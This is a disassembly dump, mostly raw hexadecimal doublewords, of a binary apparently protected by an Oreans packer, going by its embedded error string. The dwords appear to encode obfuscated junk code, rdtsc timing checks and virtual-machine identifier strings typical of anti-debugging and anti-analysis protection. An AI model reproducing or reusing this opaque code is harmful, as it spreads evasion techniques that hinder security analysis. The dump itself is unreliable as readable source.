		dd 5FC68071h, 0C15ED85Bh, 0EC0C118Ch, 212339BBh, 810AED33h
		dd 0A2765FA6h, 0F99042C9h, 0E5BBBF1Fh, 552B0168h, 408179F2h
		dd 0D2B83B7Fh, 5B218CC1h, 6C4B1FF8h, 4593FADFh,	0A08D36E3h
		dd 9DE89B72h, 301D0686h, 200D8460h, 8F7BF650h, 9E15F044h
		dd 599DFB28h, 0F826030h, 5FF34B29h, 7FC4AD79h, 81A28D0Dh
		dd 0A7314686h, 0B246699Dh, 5300000Ah, 21C77784h, 0EC0AC839h
		dd 0B6508209h, 7C9A58ABh, 7323139Eh, 0B9348A57h, 74F953B5h
		dd 0CC4720C6h, 850CE80Eh, 669CF551h, 7A408D15h,	4B5AE1FCh
		dd 0EEC33462h, 652E806Ch, 0D190663Fh, 1064A5FEh, 9753DAB2h
		dd 6ADC5531h, 0E2E33B01h, 453830Ah, 7ADD8EDCh, 0DB522A8Eh
		dd 2D08FDh, 0C0250000h,	8D89D259h, 7A45D759h, 981B1F06h
		dd 1869607h, 9D73371Eh,	0D0593D39h, 0CBA34589h,	7326E442h
		dd 0D3B7E3C8h, 3C806EF8h, 4B68E353h, 73850C45h,	0A4E87C9Ah
		dd 4D1E1129h, 8765B3C1h, 0CA3B275Bh, 161A73E3h,	6B24BA93h
		dd 679BF14Dh, 806BFC1Bh, 2AE40D73h, 6F5BD72Bh, 59D0AB09h
		dd 6CE9DA5Dh, 0F85CC780h, 0FCD7931Eh, 0D643A195h, 9012006Dh
		dd 3F7A491Eh, 0CCA90F54h, 72BFC162h, 301BEAADh,	6B758902h
		dd 877B5CDBh, 14Dh, 9C6FEA4Eh, 5093F92Ah, 8FD453C0h, 0F6C24F29h
		dd 0EF4F4B7Dh, 3806CEEh, 14CDABF0h, 0F4C003E7h,	84804B7Bh
		dd 55C0C89Eh, 624B6FD6h, 0CBBF3696h, 0EF1D9E98h, 9B84806Ch
		dd 12D4253Dh, 0A8A3DB31h, 0F85C56C0h, 71D78971h, 0FED90AFCh
		dd 0EF0E6195h, 0A8FB806Ch, 2DA68641h, 0DCDB7B75h, 5DB77Dh
		dd 0FA5E0000h, 6FCFAD20h, 0C05192E6h, 8855B55h,	210A55BEh
		dd 181495FFh, 0C1CFF31Dh, 0D83C73E5h, 0E56E4AECh, 3696624Bh
		dd 0BC98CBBFh, 6CEEFE7Ch, 55BEE180h, 0EEA5160Ch, 30C806Ch
		dd 804B3A35h, 81EA61C4h, 0B55D729Fh, 94E0A87Ah,	0EE379E5Bh
		dd 6CEF47A8h, 8BE1B280h, 333558h, 0C0BA0000h, 4B6FD655h
		dd 0E2263E62h, 9CBD2611h, 4FFA78B8h, 0E70E806Ch, 0FED4B7Ch
		dd 0DB22D30Fh, 0C4AD90FDh, 9E63EA61h, 0F846137h, 8902E5BBh
		dd 0AD8BD231h, 0DB7B75A2h, 25B77DDCh, 0BC000000h, 16D156C0h
		dd 0EEEF4F4Bh, 4FD0806Ch, 0C4804B84h, 9E62ED1Ch, 32454BD5h
		dd 82BB8DB3h, 28667543h, 0CF000000h, 0FA5C56C0h, 4DDB377h
		dd 89D033F7h, 4F4BA7AEh, 806CEEEFh, 4B49F003h, 0ED1CC480h
		dd 0DB563080h, 0C117E47Dh, 35D59E0Eh, 0FFFFFEAAh, 0D259C0BAh
		dd 23A68D89h, 58CB7A49h, 0C5C1A573h, 7BFECF67h,	0DBD05329h
		dd 0F44CA9F0h, 38B31410h, 4C3A054Eh, 0D7353107h, 4C95FE3Bh
		dd 0BE95695Ch, 9BF1C753h, 99C71467h, 57210A86h,	4281798Ah
		dd 99C6E354h, 7745CE86h, 81C0A6E9h, 0FADE5737h,	99C73786h
		dd 15098F86h, 0F871D5A3h, 0B658F9Ch, 3C0574B0h,	99BE75C6h
		dd 0E5335C86h, 1D10h, 1966DD00h, 0F806CEFh, 0EE7FF026h
		dd 396A806Ch, 2470FD53h, 0EF6FE646h, 0B1F8h, 59C04900h
		dd 858D89D2h, 6A7A45BCh, 0A304DC39h, 5D432A28h,	0C5C29997h
		dd 0E6ED137Dh, 39C5100h, 73D4AA8Eh, 0CD4C0EF8h,	2191D66h
		dd 0A780726Fh, 66C197FCh, 2C8F69EDh, 9009C3A7h,	0FDD4C22Bh
		dd 13869EC0h, 96F5CBEDh, 3B991096h, 4893F0B6h, 40ADF66Ch
		dd 599D14F0h, 48ABEF30h, 0B192EDF1h, 0A505F663h, 3B19076Eh
		dd 0C0D1066Eh, 0EB432177h, 398172EFh, 6B6283EAh, 48A73115h
		dd 76B7D42h, 3D1A0000h,	6EEA0CCEh, 0DCB95F9Fh, 0D801E757h
		dd 6FCD2B2Bh, 0A82070E2h, 0CA08855Bh, 17C74A2Ch, 599D16F1h
		dd 0E456DFBFh, 0C2356140h, 2F7A4089h, 60C4EF16h, 0EF4CAFEBh
		dd 0EAB5806Ch, 7FDEBA83h, 0FBD132F4h, 7CF55137h, 43DB618Ah
		dd 3323AA02h, 0DCE77C64h, 42B67Ah, 4BBF0000h, 268009EDh
		dd 6C2D8FEDh, 6B95FEC7h, 6E4266DFh, 60A0F497h, 7A456362h
		dd 86CDA45h, 86956BABh,	0F181A523h, 74B46AEFh, 370Bh
		dd 0BDF9C200h, 8695603Ah, 5FD12250h, 57388695h,	814296F9h
		dd 89D259C0h, 45BF7D8Dh, 0A5BC627Ah, 0E5BB0F56h, 0AC4A8801h
		dd 23F941C8h, 0B2E0CD76h, 806EED9Ch, 0A9221003h, 7F1AE9B9h
		dd 0A3ABEF34h, 47A45D6h, 799BDF1Bh, 5A464C40h, 0EB2F74BFh
		dd 40E52F83h, 2B8C8AD3h, 964D357Ch, 0EEB1AF8Dh,	0B2E0C918h
		dd 4D357C41h, 3791E7A8h, 79F05462h, 127B4281h, 0E42C9E4h
		dd 5EA7E847h, 10C10B75h, 44E1B61Ch, 0B33A9270h,	9581EA83h
		dd 535EA822h, 2E9815F7h, 0D0246FE5h, 12139A72h,	0E6C0DB71h
		dd 3EFBCCC2h, 0CF000006h, 9573E310h, 58BEBC4Dh,	22C476FDh
		dd 0F016C437h, 0F5F9F12h, 25A80ED3h, 0F875D731h, 0B03B9C7Ah
		dd 9806482h, 120061C5h,	7A4087A1h, 4BCE7508h, 84865545h
		dd 7DDB9809h, 7C571398h, 6BE2BA18h, 0F25C399Fh,	0B12D59FAh
		dd 985AA5F6h, 0CF149F7Ah, 32B912E6h, 0CABDA2E6h, 0B3DC7A48h
		dd 0A5288E6Ah, 0C6AA8EC5h, 0C44D298Fh, 30BB12F0h, 869E7633h
		dd 0D6F92DB3h, 5C5h, 0EA689B40h, 3125D40Ch, 79FD76D7h
		dd 0BDB1429Fh, 0CA08855Bh, 13F13E9Ah, 0E0BA5C9Eh, 0AC0FE96Dh
		dd 75D13727h, 8BDA7EFCh, 40882C8Fh, 75F8957Ah, 89D259C0h
		dd 49238A8Dh, 9670C07Ah, 1064AF1Bh, 0FB76D4CAh,	9570D690h
		dd 0F6B03D93h, 0FEB1B29Dh, 0B5B38645h, 56B6E71h, 3D1A0000h
		dd 6EEA0CCEh, 0DCB95F9Fh, 0D801E757h, 6FCD2B2Bh, 0A82070E2h
		dd 0CA08855Bh, 17C74A2Ch, 599D16F1h, 0E456DFBFh, 0C2356140h
		dd 2F7A4087h, 59C0EF16h, 8E8D89D2h, 337A4923h, 0E94F8660h
		dd 0E122840Dh, 0DB50358Bh, 86457B2Ah, 0DDE228B3h, 519h
		dd 5E9C6FF4h, 9D51A0B8h, 2529A27Bh, 71E516C3h, 0BEBC3197h
		dd 4F2DF2EEh, 14F610C2h, 0D8B35599h, 0A105E353h, 278E2A28h
		dd 408680F3h, 2154697Ah, 11E960C4h, 0C876030h, 298369BAh
		dd 0AB81C2A4h, 93F871D5h, 11E962C5h, 0F012E632h, 0E26BC395h
		dd 95AE7096h, 5CBAB831h, 758971F8h, 806CEF05h, 0F3B74692h
		dd 0E417BF1Dh, 26A17F4Bh, 0F318EEC9h, 0EC7DD155h, 3591B274h
		dd 0F5DC5531h, 6BC7A741h, 1357D594h, 4E3803B4h,	58A52C88h
		dd 40941FF8h, 8B36684h,	121BF723h, 9B847A45h, 726CCB2Fh
		dd 0E4608695h, 2E2A8E42h, 4AAAF9DFh, 0E074B45Fh, 3Eh, 0D259C04Dh
		dd 77D0A089h, 469898FCh, 717A45EFh, 0D724582Eh,	178695EFh
		dd 160C55BEh, 8695EFA5h, 0A417030Ch, 0D8695EFh,	0E103602h
		dd 0B3E65C84h, 0D3AA0E74h, 57A5EE58h, 0ACE6h, 60C44F00h
		dd 0D9BF11E9h, 583C9254h, 0D7B769D1h, 23F59C5Eh, 0B3F7C536h
		dd 806CEB85h, 333BA12h,	3E8801E5h, 2D76BD5Ch, 0B3F5D4C4h
		dd 9D830AE2h, 156379FBh, 46000515h, 75F9AA7Ah, 5CB90297h
		dd 716FE026h, 775CC780h, 17C3C3A1h, 351C916Bh, 288E68EAh
		dd 0BECB80A5h, 5258AD5Dh, 3C80Dh, 6D9E4500h, 22D30FE9h
		dd 0FC77D630h, 0B241987Eh, 0D806680h, 0FC4199C9h, 45A3931Eh
		dd 0AEC6EE3h, 0DE383AB1h, 0E347F77Eh, 86239482h, 0F78E7A40h
		dd 0EB66C44Ch, 2B1E026Bh, 89F2EC1Dh, 0DEBE1C78h, 2A8EE757h
		dd 0B46ADC2Fh, 21775EADh, 0D259C02Eh, 0EF598D89h, 8FF17A45h
		dd 54C0BF1Dh, 0B4A2F627h, 9C1B1FEBh, 50869665h,	93E4127Bh
		dd 7E869665h, 0FD21C715h, 0B3706B75h, 0BF8774h,	0EA4E0000h
		dd 5D3F9D10h, 0DF3D16D0h, 0E960C414h, 0FC7FBB8Ch, 0E5806CEEh
		dd 0F77EDEBAh, 3484D033h, 18FCFC52h, 0BCF0B691h, 806CEB80h
		dd 0ED36BF1Fh, 483ECF0Bh, 0DF393D1Bh, 0D130F67Fh, 0F4298A88h
		dd 8F90806Ch, 0E14ACFA9h, 0ED4DB384h, 877D2C71h, 819191E7h
		dd 267A463Ah, 7E1BF97Dh, 0B7AAE835h, 0DA8071AEh, 36946C49h
		dd 0FF5DBBBBh, 8720F172h, 1F93AD5Dh, 2D448h, 59AAB100h
		dd 16E77395h, 0E06BC224h, 0BE4D9472h, 9845ABCh,	0F03D95C5h
		dd 0B95F9F12h, 6E052DFh, 0CA2C2EA5h, 0DF7BFB72h, 852F80F6h
		dd 0FB9A7A40h, 0EB66C470h, 85298D6Bh, 0E2310B36h, 0FB70D532h
		dd 1FFDC40Fh, 65E930BDh, 74ED4BEEh, 94E02387h, 0F9FA5636h
		dd 0F1264ACBh, 339555BCh, 8260D25Bh, 5347AC17h,	7A458133h
		dd 0B8319563h, 0B09D865Ch, 3B8F02E0h, 0F83C8CE8h, 8695887Bh
		dd 0C151D573h, 74B4491Fh, 3ADBh, 59C01000h, 418D89D2h
		dd 0AE7A45C1h, 203898E5h, 4F1F69D1h, 8F759A33h,	0FC4CA8F3h
		dd 96DF3BB8h, 8C07E686h, 883643Ah, 49DD43BEh, 50D672F5h
		dd 0B2F71EC6h, 1FD474h,	4B110000h, 20860BEDh, 259595E3h
		dd 0F6806CEFh, 47B39823h, 7A45E42Bh, 620BCB54h,	58BC3796h
		dd 2A454B97h, 0BADF95FFh, 0A8F694Fh, 0C85E44A1h, 0EF7A4538h
		dd 0A765FA4h, 71F02F0Fh, 44B7E302h, 0AD869569h,	0CE2296E2h
		dd 86956871h, 60C64D28h, 0E046CDAEh, 0FC52D462h, 0DF57CF4Dh
		dd 74B46A15h, 0C5366CB5h, 2C869560h, 2DA01563h,	8D000000h
		dd 7BCA454Bh, 8580A135h, 540473B7h, 99806Ch, 0AF0952BBh
		dd 0AFE442B3h, 0E66BC9h, 79B5F5C3h, 267A4549h, 0C090F97Dh
		dd 458EEA19h, 89D259C0h, 0FF72D0A0h, 62A5FD0Bh,	14F7B6E4h
		dd 0E4ABEFCDh, 0C57A48CAh, 84CF397Fh, 1C67279Dh, 0B30AEE37h
		dd 9E7EDC38h, 3AC2CE17h, 70818DAFh, 9A052D70h, 66416BE3h
		dd 583CDA12h, 84273BF4h, 0FCC7393Dh, 62C9500Ah,	51A2BF19h
		dd 775EBAE9h, 7489BF03h, 80F6DF80h, 8CC4A22Fh, 0B5A3899Ah
		dd 573781EAh, 22FA1CDEh, 9C7DDFABh, 0FE48C39Ah,	0E94A4895h
		dd 0D08CC4A1h, 1B1F644Fh, 869D7A1Bh, 33C21EFCh,	8A101C77h
		dd 8DF73594h, 0B01F2C77h, 0F3A731E6h, 0DFA83Fh,	0B1AE0000h
		dd 0EA769042h, 583DDB1Bh, 5C8563D3h, 0EB49AFAFh, 2CA4F466h
		dd 4E8C01E7h, 9343CEA8h, 0D5199275h, 60D25B33h,	46A9EDC4h
		dd 0B37A4083h, 59C06B92h, 1FFF835Fh, 1F644F96h,	4923AB1Bh
		dd 0A7030C7Ah, 0A78C05E1h, 3BD7585Eh, 51C28699h, 4125C37Bh
		dd 293A7EC8h, 28DBCEB9h, 0A365C54Ch, 94E743C8h,	30D86EB0h
		dd 0CE372B55h, 0EB455DEAh, 1B76F8Dh, 2779FA38h,	3F60E28Eh
		dd 2AA37BD9h, 6BF74128h, 7CD8BE9Ah, 67DAD0D0h, 1DF8B1EDh
		dd 0A8F3D096h, 3A27F941h, 36AE144h, 40E67AA7h, 2C2EA707h
		dd 0BDF972CAh, 0E28E503Ah, 0B49ED9A7h, 0D5E341E1h, 4900868Ah
		dd 560F00C3h, 16ABB0Fh,	8EDCA215h, 0F5BCDFE2h, 0BEB8A807h
		dd 349BF1A2h, 0Dh, 34624BBDh, 806CEEC3h, 4A17652Eh, 0EC1FC43Bh
		dd 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h, 50DDB315h
		dd 0DA293096h, 58D3AA6Ch, 0C13028EEh, 0C5683A79h, 8900007Ah
		dd 9D68240Ch, 89000007h, 8068242Ch, 89000027h, 0ABD2414h
		dd 5730EA61h, 4821AABFh, 5FFD310Bh, 0C581D5F7h,	41CE8FDCh
		dd 4EC81h, 24890000h, 24048324h, 81555A04h, 305E2434h
		dd 428F3333h, 8B85008h,	1000000h, 5E3081D0h, 58333330h
		dd 5224148Bh, 0C281E289h, 4, 4C281h, 14870000h,	2C8B5C24h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 0FAAE95Ch
		dd 0FBE8FFFDh, 0B8B676A3h, 62C6D6Eh, 0E0FFC503h, 26773805h
		dd 4C0A6048h, 51095C4Dh, 214C5858h, 4F812A6Bh, 13A231ABh
		dd 581D7F25h, 4BC3A129h, 76780115h, 0BFB0159h, 4050D377h
		dd 44BA3907h, 33CE5FB1h, 0CE8h,	0ABA71F00h, 4D91E5C1h
		dd 0D5717827h, 0D3B70FEBh, 0F7816658h, 0C08136A2h, 6907h
		dd 1068F98Bh, 0F00001Ah, 485h, 0D2BF6600h
		dd 0BE95E48h, 1D000000h, 0DC30D813h, 0DFE9A5E1h, 30FFAD4Fh
		dd 800Fh, 53590000h, 5F31E280h,	96E5C181h, 81F53DA2h, 0F85098E9h
		dd 5CE8039h, 0ABAAC181h, 0B70F0125h, 830889D3h,	14E902E8h
		dd 0A4000000h, 0C346C478h, 0D326B9DFh, 0E7D689A1h, 495C2231h
		dd 482CFAE2h, 0D0BB6648h, 850F4E80h, 2Ch, 12E9h, 0CE945B00h
		dd 0CFE8E277h, 0B20379CAh, 96AC0A2Eh, 0E9953D84h, 20h
		dd 0C56CA861h, 0F0C11C42h, 0B37E9BB8h, 26E52CDh, 0E95BBF66h
		dd 0FFFF79E9h, 0A3735BFFh, 0E71FD7EEh, 12E8h, 66222300h
		dd 16CCCDDDh, 0A17FBE96h, 2101497Dh, 6621359Dh,	0F5ED98Bh
		dd 288h, 81D98A00h, 5F93C6h, 0D68B6600h, 0CB80FF33h, 3E048B63h
		dd 0E5805160h, 0EE95E87h, 7F000000h, 0FD3C2A22h, 659B5548h
		dd 8193BEE2h, 0F0816195h, 45404751h, 5511E381h,	0E8811427h
		dd 173C72FEh, 772CE281h, 0E88131DCh, 55DE0C7Fh,	88A0Fh
		dd 0F510000h, 89h, 0E9505B00h, 0Fh, 0CF4EBD95h,	8CFD1850h
		dd 8F8F63Fh, 8F28282Fh,	57603E04h, 8B0Fh, 665A0000h, 61499CB9h
		dd 0C880Fh, 810F0000h, 6, 800Fh, 0EF810000h, 77BB6B9Eh
		dd 1A903EBAh, 9AC78143h, 0F77BB6Bh, 281h, 81CB8B00h, 0FFA140FFh
		dd 5A850FFFh, 0B9FFFFFFh, 28D2E1D0h, 464934EBh,	52474D53h
		dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h
		dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
		dd 66E90000h, 6A000007h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0B68C352h, 0F6AA4FC6h
		dd 6A6051BDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 6AEFC352h, 1037EBBEh, 0F6060C9h
		dd 87h,	0EEBE6600h, 8E861DFh, 0F000000h, 0C3BC8FF9h, 0F542980Dh
		dd 0C7F9615Eh, 2C700A85h, 6, 88F0F00h, 0F000000h, 282h
		dd 8B616000h, 52006AC6h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0D8B70F21h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0B5C35242h,	303F767Ah, 0AEC827DDh
		dd 12800Fh, 0DE90000h, 0B4000000h, 671CE8E9h, 22D89B6h
		dd 0F3C8B28Dh, 6A10E8C1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0DC55C356h,	2F884F14h
		dd 5E9h, 25CFC900h, 66F87F45h, 0E908C8C1h, 6, 4DAC65Ch
		dd 8589A5D7h, 62C700Eh,	0CBC166FCh, 0F6816008h,	2FE7BD69h
		dd 2DD78166h, 0FB83612Dh, 8F850F40h, 0E9000000h, 0Bh, 0DA4DC226h
		dd 3AE10BB9h, 8D3EFCE3h, 2C6FE2BDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C08160CCh
		dd 3BAC69DBh, 13E9h, 3F984000h,	0A92A0E2h, 0A819D718h
		dd 0BFAA5E34h, 91E05F92h, 1C1E961h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 6865F9C3h
		dd 0E9E8EB19h, 8, 7FB21A42h, 54BD0B35h,	5E9h, 11D81A00h
		dd 0FB830418h, 72850F0Dh, 0E9000000h, 0Eh, 3E6D6A3Ch, 977456B5h
		dd 0F33D422Ch, 0BD8D5613h, 62C6FEAh, 16830Fh, 11E90000h
		dd 0FD000000h, 659B5548h, 8193BEE2h, 0BAFE1295h, 0F3327CF8h
		dd 146E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0DFC278C2h, 0FCC8E56Eh, 0EE9D72Dh
		dd 0A6000000h, 0C4C2E751h, 51938E40h, 0DD8AA06Ah, 1FB83C9h
		dd 1F850Fh, 0B7600000h,	0BD8D6147h, 62C6FF2h, 0AE9h, 7A370500h
		dd 0FCFCE970h, 0E9049E01h, 0E7h, 2AFB83F5h, 0A7850Fh, 12E90000h
		dd 0C6000000h, 0D51B4309h, 0B824F01Dh, 0C331B65Fh, 88D96AF0h
		dd 0FABD8D89h, 6A062C6Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0E0B3C357h,	0A1C94AE5h
		dd 95741C27h, 55C38160h, 0F28E06Ah, 1A81h, 14E800h, 0B5F30000h
		dd 59FF0FE9h, 785D0A19h, 0D7764267h, 0B4792F7h,	615B5627h
		dd 6EE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 8EEB87F3h, 0D6548CC4h, 880FC304h
		dd 0Dh,	8E9h, 8010D800h, 8FD21EC5h, 27FB831Fh, 2BF850Fh
		dd 0AE90000h, 0BA000000h, 7379DA8Dh, 0C20427D9h, 2BD8D73h
		dd 0E9062C70h, 13h, 4182A327h, 7A6574Dh, 5E2190F6h, 0F34F050Dh
		dd 898CE125h, 2C7012BDh, 6E906h, 8560000h, 0D882984Dh
		dd 6AC88C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 86C7C353h, 0D4FBDB3Bh,	0E8600601h
		dd 0Fh,	380EF58Eh, 0A91EAAA7h, 976F6E89h, 664E0841h, 805BD08Bh
		dd 606177D5h, 0EE9h, 0C6054A00h, 30697E11h, 0F183A7C7h
		dd 0F57C3038h, 6A032461h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0C859C351h,	0FC00AA0h
		dd 18F85h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0D9CB338Ah, 0F5B35CFh, 0C88h, 7E900h
		dd 0BA2E0000h, 62BB5088h, 0B58DF9F5h, 62C764Ch,	78D0Fh
		dd 8D0F0000h, 1, 0C0858BF8h, 0E9062C76h, 0Bh, 6421D6ABh
		dd 0DBAFDA73h, 928D4F3Fh, 38F0F60h, 66000000h, 0D68BC78Bh
		dd 890F5061h, 6, 51DA8B60h, 0F592615Bh,	244C010Fh, 53006AFEh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0CA13872Bh, 2C0AAE45h, 0D820Fh, 8E90000h, 8B000000h
		dd 6C4BE700h, 5AEB9E7Eh, 5E9h, 0DF98E000h, 0C283C924h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 6115A1A7h, 7A24BA52h, 61FBB760h,	0FC728966h
		dd 8840Fh, 8E0F0000h, 2, 0CEC16160h, 57006A10h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 860F6A75h
		dd 1, 728966F5h, 0A880F02h, 60000000h, 860Fh, 58520000h
		dd 6A04CD61h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 5C38C351h, 0F9FCD4BFh,	7EE9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0E60084FBh, 9A3725F1h, 66602E44h, 15BFF18Bh
		dd 615F3FB7h, 76C0858Bh, 0B260062Ch, 0B58D61F6h, 62C764Ch
		dd 7800Fh, 8A600000h, 0F9BF0FD0h, 18E0F61h, 0FC000000h
		dd 4C75858Dh, 0FE9062Ch, 75000000h, 79DCA871h, 0B92B255Dh
		dd 42C90DDAh, 0D0FF4278h, 0FCE8B60h, 588h, 762ABF00h, 89614233h
		dd 2C700A85h, 16860F06h, 0E9000000h, 11h, 0BC08EFE2h, 0E74DD18Ah
		dd 3D36E0CEh, 0CCBE655Fh, 8A0F61D9h, 1,	0A858BF8h, 6A062C70h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 5B78C350h, 67D38CD1h, 0BE9h, 8A95C900h, 1A2960B0h
		dd 2B3EEBD7h, 0BF0F60C3h, 5E9C3h, 0D94C0000h, 615243CAh
		dd 1870F60h, 0F9000000h, 76C0BD83h, 0F00062Ch, 2D85h, 0BF0F6000h
		dd 5E9C8h, 0AAF90000h, 61436BF0h, 76C085C7h, 13F062Ch
		dd 0E9600001h, 0Ah, 36E31460h, 10E141CEh, 0B70FC673h, 2BE961FBh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0C313C356h, 0E913389Ah, 6, 5FF5395Fh
		dd 20CD082Dh, 0
		dd 3774C00Bh, 8B0C708Dh, 2C7012BDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 2C700E9Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	2C700A85h, 8B04EB06h, 61C5EB00h
		dd 700A858Bh, 6ACF062Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 54CC352h, 0B6B010A8h
		dd 0E9E4F51Ch, 0Bh, 65CF097Ah, 469801EEh, 6A39F45Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 55CAC352h, 0D4F0EDE5h, 0BBD0DFA4h, 10E9h, 39130C00h
		dd 3E80C381h, 0AE082152h, 0D0F9B697h, 7E9F5h, 6260000h
		dd 22395226h, 0E9C08B54h, 400h,	0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 134BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0AB2B3F97h, 0B5893265h, 629138Dh
		dd 13E9h, 0B4282B00h, 671CE8E9h, 22D89B6h, 0F3C8B28Dh
		dd 5D1B24Ch, 18899D31h,	858B0629h, 6293051h, 1B3D8529h
		dd 44390629h, 850F0424h, 4Bh, 6810F60h,	8B000000h, 290109B5h
		dd 0B7F28006h, 51BD8361h, 62904h, 2D840Fh, 0BD290000h
		dd 6291E91h, 3B72858Dh,	0FFF90629h, 55006AE0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8BF839B5h
		dd 29187585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 3ED6BEAFh, 0C890Fh, 850F0000h, 6
		dd 8F0Fh, 44390000h, 850F0424h,	11h, 20358501h,	85C70629h
		dd 62C7B84h, 1,	0E9F860F5h, 10h, 6810Fh, 8D010000h, 6290929h
		dd 0
		dd 1B8h, 98858700h, 0B062C7Ch, 0FFF675C0h, 291B59B5h, 7C858F06h
		dd 6A062C7Bh, 0FFFF6A20h, 290F5D95h, 95BD8306h,	62904h
		dd 6A0874h, 59195FFh, 0BD830629h, 62911FDh, 680D7401h
		dd 80h,	95FFFF6Ah, 6290F5Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 74C35747h, 17E2D406h, 3AC00ECDh
		dd 0CE97Ch, 27B0000h, 0E341C0DBh, 0D865698Dh, 3360FFC2h
		dd 290FC195h, 61C88B06h, 0B8h, 7D958900h, 0F062923h, 188h
		dd 548BF800h, 6A2824h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 5A27BFC3h, 0E579947Ch, 8589F899h
		dd 62915E9h, 12E9h, 2BB3000h, 0C05789Bh, 161AAE15h, 19A7BD84h
		dd 0BED27C18h, 3Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 36C35646h, 1B69EBA8h,	6810F2Bh, 31000000h
		dd 292CED95h, 24740306h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 5EA12E2Bh, 0D2C0368Dh
		dd 419D89F1h, 6006291Ah, 2759BD89h, 13E80629h, 11000000h
		dd 1ED07C36h, 2C5003F7h, 88D076A5h, 272A4F46h, 85892F5Fh
		dd 62912B1h, 0AD66615Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 54C35141h, 66DEBA0Ch,	4403A001h, 6A2424h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 606099C3h, 790241B9h, 0EF816633h, 896169C5h,	2927019Dh
		dd 50506106h, 6820F52h,	0F000000h, 81h,	50310F00h, 0F525052h
		dd 0F585A31h, 7E931h, 0BDC0000h, 0DB9D57DAh, 5A585A35h
		dd 24048958h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	5BC35242h, 78408BBEh, 84BD83F9h, 62C7Bh, 148850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E92145C3h, 14h, 0A181270Ch, 839791EFh, 0A2CF3061h
		dd 4113F429h, 8DECFEECh, 50525050h, 0F525052h, 0F585A31h
		dd 0EE931h, 0D4F20000h,	19E3ADBEh, 0D4980FACh, 912BDD4Ch
		dd 310F585Ah, 2830Fh, 61600000h, 489585Ah, 53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 125EECA1h, 9E9B9h, 27950000h, 12582EF0h, 8BF694E3h
		dd 6A2C2444h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 4CF9C350h, 7CECDF50h, 0D9B529A6h
		dd 0F5062911h, 5E990h, 6CB70000h, 50584A4Ah, 0AE9h, 0E64D1600h
		dd 0BACC11A4h, 90F24F9Eh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 48C35040h, 6D3610FEh,	9D894E52h, 62910B1h
		dd 0D9858DF5h, 6A062C40h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 77C0C355h, 0F60AF34h
		dd 68Eh, 9D8D8B00h, 0BB062904h,	2F703997h, 29D0FF61h, 291591BDh
		dd 4403F906h, 66602824h, 0E8F2CEBAh, 6,	2DF1FE8Bh, 615B15BAh
		dd 6A18408Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 3658C355h, 8531F5A5h, 6290909h
